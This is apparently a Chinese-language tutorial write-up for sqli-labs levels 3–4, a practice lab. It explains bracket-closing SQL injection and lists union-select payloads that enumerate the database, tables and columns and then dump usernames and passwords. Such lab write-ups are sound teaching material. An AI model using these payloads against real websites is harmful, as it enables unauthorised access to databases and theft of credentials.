sqli-labs第3-4关 详解
通过第二关,来到第三关
我们用了前两种方法,都报错,然后自己也不太会别的注入,然后莫名的小知识又增加了。这居然是一个带括号的字符型注入,
这里我们需要闭合前面的括号。
$sql=select * from users where id=(“$id”);
但我们传入的id为5′)然后我们的语句就变成了
而且页面显示正常,然后我们就去判断字段的列数,这个跟前三关应该是一样的 ,我们直接
pyload: ?id=5′)order by 4–+
然后判断3的时候,没有报错,于是确定列数为3,具体为什么要确定列数,在第一个wp中有提到,我们用联合查询,
所以我们要保证列数字段一致,如果不一致则会报错。
接着我们
1. 爆库名 ?id=-1′) union select 1,2,database()–+
2. 爆表名 ?id=-1′) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
3. 爆字段 ?id=-1′) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+
4. 爆数据 ?id=-1′) union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+
然后就查到了我们想要的users表中的数据了。
之后我们又来到了第四关,发现第四关只是将单引号变成了双引号了,所以我们
pyload:?id=5″)–+
然后发现页面正常显示,没有报错,于是我们用order by来判断列数,步骤和第三题一样。
希望可以对读者有帮助,不对的希望大家多多指正,大家共同进步。